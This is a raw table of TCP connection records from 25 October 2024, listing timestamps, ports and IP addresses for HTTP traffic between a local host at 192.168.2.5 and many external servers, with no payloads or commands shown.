Oct 25, 2024 11:17:40.266647100 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:40.275396109 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:40.283195019 CEST	80	52619	122.128.109.107	192.168.2.5
Oct 25, 2024 11:17:40.283252954 CEST	52619	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:17:40.359975100 CEST	52634	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:40.366329908 CEST	80	52634	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:40.366409063 CEST	52634	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:40.366532087 CEST	52634	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:40.371836901 CEST	80	52634	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:40.402381897 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:40.407958984 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:17:40.408045053 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:40.408313036 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:40.414009094 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:17:40.702182055 CEST	80	52625	195.78.66.65	192.168.2.5
Oct 25, 2024 11:17:40.702244043 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:17:40.702289104 CEST	80	52629	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:40.702342033 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.702400923 CEST	80	52630	13.248.169.48	192.168.2.5
Oct 25, 2024 11:17:40.702416897 CEST	80	52627	18.245.31.21	192.168.2.5
Oct 25, 2024 11:17:40.702481031 CEST	52630	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:17:40.702501059 CEST	80	52629	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:40.702517986 CEST	80	52629	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:40.702538013 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:17:40.702545881 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.702558041 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.702560902 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:40.702601910 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:40.703387976 CEST	52629	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.703974009 CEST	52630	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:17:40.707547903 CEST	80	52625	195.78.66.65	192.168.2.5
Oct 25, 2024 11:17:40.707623959 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:17:40.709460020 CEST	80	52629	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:40.710143089 CEST	80	52630	13.248.169.48	192.168.2.5
Oct 25, 2024 11:17:40.734978914 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:40.740555048 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:40.743191004 CEST	52639	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.743448973 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:17:40.748585939 CEST	80	52639	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:40.748697996 CEST	52639	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.749037027 CEST	52639	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:40.749248981 CEST	80	52627	18.245.31.21	192.168.2.5
Oct 25, 2024 11:17:40.754837990 CEST	80	52639	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:40.762216091 CEST	52641	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:17:40.767676115 CEST	80	52641	188.166.152.188	192.168.2.5
Oct 25, 2024 11:17:40.767790079 CEST	52641	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:17:40.767894983 CEST	52641	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:17:40.770908117 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:40.773513079 CEST	80	52641	188.166.152.188	192.168.2.5
Oct 25, 2024 11:17:40.777086973 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:17:40.777148008 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:40.777231932 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:40.782610893 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:17:40.811203003 CEST	80	52631	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.811260939 CEST	52631	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.865219116 CEST	80	52631	75.119.202.130	192.168.2.5
Oct 25, 2024 11:17:40.865331888 CEST	52631	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:17:40.986104965 CEST	80	52627	18.245.31.21	192.168.2.5
Oct 25, 2024 11:17:40.986166000 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:17:40.988157988 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:40.988265991 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:40.989641905 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:40.995579004 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:41.031591892 CEST	80	52634	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.032335043 CEST	52634	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.055562019 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:17:41.055721045 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:41.065895081 CEST	80	52634	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.066365004 CEST	52634	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.069396019 CEST	52634	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.074961901 CEST	80	52634	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.075377941 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:41.076106071 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:17:41.076426983 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:41.080821991 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:17:41.094106913 CEST	52643	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.099610090 CEST	80	52643	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.099709988 CEST	52643	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.125103951 CEST	52643	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.131263018 CEST	80	52643	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.412302017 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:17:41.412328959 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:41.412344933 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:17:41.412354946 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:41.412405014 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:41.412421942 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:41.412509918 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412527084 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412542105 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412585020 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.412641048 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412647963 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.412657022 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412672997 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412700891 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.412727118 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.412820101 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412832975 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412848949 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412863970 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.412873030 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.412900925 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.412949085 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.413042068 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.418885946 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.418943882 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.419050932 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.419087887 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.419173002 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.419220924 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.427834988 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:41.433240891 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:41.445152044 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:17:41.445216894 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:41.466403008 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466428995 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466444969 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466471910 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466502905 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466520071 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466526031 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466536999 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466553926 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466552973 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466577053 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466578007 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466603041 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466834068 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466860056 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466876984 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.466897011 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466897011 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.466928005 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.469860077 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.469872952 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.469990015 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.470014095 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.470016003 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.470113039 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.470166922 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.470932007 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.471091032 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.471131086 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.471748114 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.471787930 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.472074986 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.472090006 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.472129107 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.472146034 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.472183943 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.472203970 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.472204924 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.472974062 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.472990990 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.473006964 CEST	80	52639	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:41.473068953 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.473068953 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.473081112 CEST	52639	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:41.473898888 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.473923922 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.473952055 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.473984957 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.474705935 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.474765062 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.474788904 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.474828959 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.475554943 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.475627899 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.475708961 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.475749969 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.476455927 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.476497889 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.477008104 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.477071047 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.477287054 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:41.477327108 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:41.488671064 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:41.494296074 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:17:41.523961067 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:17:41.529896021 CEST	80	52645	211.1.226.67	192.168.2.5
Oct 25, 2024 11:17:41.529990911 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:17:41.530154943 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:17:41.534707069 CEST	80	52639	69.163.182.181	192.168.2.5
Oct 25, 2024 11:17:41.535835028 CEST	80	52645	211.1.226.67	192.168.2.5
Oct 25, 2024 11:17:41.535953045 CEST	52639	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:17:41.556056976 CEST	80	52583	69.163.239.62	192.168.2.5
Oct 25, 2024 11:17:41.556112051 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:41.583395004 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583513975 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583519936 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.583528996 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583554029 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583565950 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.583575010 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583595037 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.583595037 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.583616972 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.583790064 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583806992 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.583853006 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.584626913 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.584641933 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.584657907 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.584672928 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.584702015 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.584794998 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.584923983 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585016966 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585031033 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585048914 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585064888 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585084915 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.585127115 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.585127115 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.585927963 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585942984 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585958958 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585978985 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.585995913 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.585997105 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.586007118 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.586024046 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.586025000 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.586082935 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.586710930 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.586751938 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.589122057 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.589138031 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.589196920 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.589196920 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.589251995 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.589296103 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.590127945 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.590347052 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.611958981 CEST	80	52641	188.166.152.188	192.168.2.5
Oct 25, 2024 11:17:41.612142086 CEST	52641	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:17:41.650957108 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:17:41.651015997 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:41.680059910 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:41.680176020 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:41.700339079 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.700352907 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.700418949 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.700434923 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.700449944 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.700485945 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.700486898 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.700521946 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.700553894 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701124907 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701173067 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701294899 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701311111 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701325893 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701342106 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701375961 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701375961 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701462030 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701476097 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701489925 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701507092 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701520920 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701529026 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701549053 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701549053 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701569080 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701572895 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701590061 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701606035 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701622009 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701636076 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701637983 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701653957 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701656103 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.701683998 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.701702118 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702378035 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702404976 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702420950 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702430010 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702450991 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702470064 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702508926 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702523947 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702538967 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702555895 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702563047 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702594042 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702614069 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702652931 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702667952 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702682018 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.702704906 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702704906 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.702738047 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703233957 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703248978 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703263998 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703279018 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703275919 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703298092 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703298092 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703321934 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703337908 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703355074 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703363895 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703363895 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703375101 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703385115 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703392029 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703408957 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.703413010 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703413010 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703433990 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703452110 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.703963995 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.704047918 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.704063892 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.704096079 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.704129934 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.704142094 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.704158068 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.704173088 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.704201937 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.704229116 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.744710922 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.744751930 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.744767904 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.744791031 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.744820118 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.745834112 CEST	52646	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:17:41.751233101 CEST	80	52646	147.154.0.23	192.168.2.5
Oct 25, 2024 11:17:41.751346111 CEST	52646	80	192.168.2.5	147.154.0.23
